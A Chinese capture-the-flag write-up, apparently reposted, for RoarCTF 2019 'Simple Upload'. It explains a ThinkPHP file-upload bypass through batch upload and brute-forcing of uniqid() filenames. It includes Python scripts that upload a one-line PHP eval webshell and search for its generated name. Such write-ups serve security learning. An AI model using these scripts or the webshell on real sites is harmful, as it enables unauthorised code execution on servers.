[RoarCTF 2019]Simple Upload


0x00 知識點

1:Think PHP上傳默認路徑

默認上傳路徑是/home/index/upload

2:Think PHP upload()多文件上傳
think PHP里的upload()函數在不傳參的情況下是批量上傳的,這里可以理解為防護機制只會檢測一次,運用條件競爭,多次上傳便可以繞過文件后綴的檢測,至於為什么上傳兩次1.txt,是為了獲取php文件的后綴,因為這里的后綴命名方式運用了uniqid函數它是基於微秒的當前時間來更改文件名的,兩個同時上傳生成的文件名相差不會太遠。
3ThinkPHP 上傳文件名爆破

先上傳一個正常文件再上傳一個木馬文件,然后再上傳一個正常文件,然后根據第一和第三個正常文件的文件名之間的差異,爆破出我們上傳的木馬文件

0x01 解題

利用下面腳本爆破我們的木馬文件:

import requests
url = 'http://1a90b8c9-694d-44a9-bc8b-060cab5ca389.node3.buuoj.cn/index.php/Home/Index/upload'
file1 = {'file':open('1.txt','r')}
file2 = {'file[]':open('1.php','r')} #upload()不傳參時即是批量上傳所以用[]

r = requests.post(url,files = file1)
print r.text

r = requests.post(url,files = file2)
print r.text

r = requests.post(url, files = file1)
print r.text


這里可以看到兩個文件之間是有6位數的不同,接下來我們只要控制這六位數爆破文件名即可

python2拿flag腳本

#coding:utf-8
import requests
import time
import json

url = "http://1a90b8c9-694d-44a9-bc8b-060cab5ca389.node3.buuoj.cn/"

path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
param=json.loads(r.content)
print param
t1 = int(t1, 16)

j = t1
while True:
    path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:]
    try:
        r = requests.get(path,timeout=1)
    except:
        continue
    if r.status_code == 429:#規避過於頻繁訪問導致的429
        time.sleep(0.1)
        continue
    elif r.status_code != 404:
        print path
        print r.text
        break
    print j, path, r.status_code
    j -= 1


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM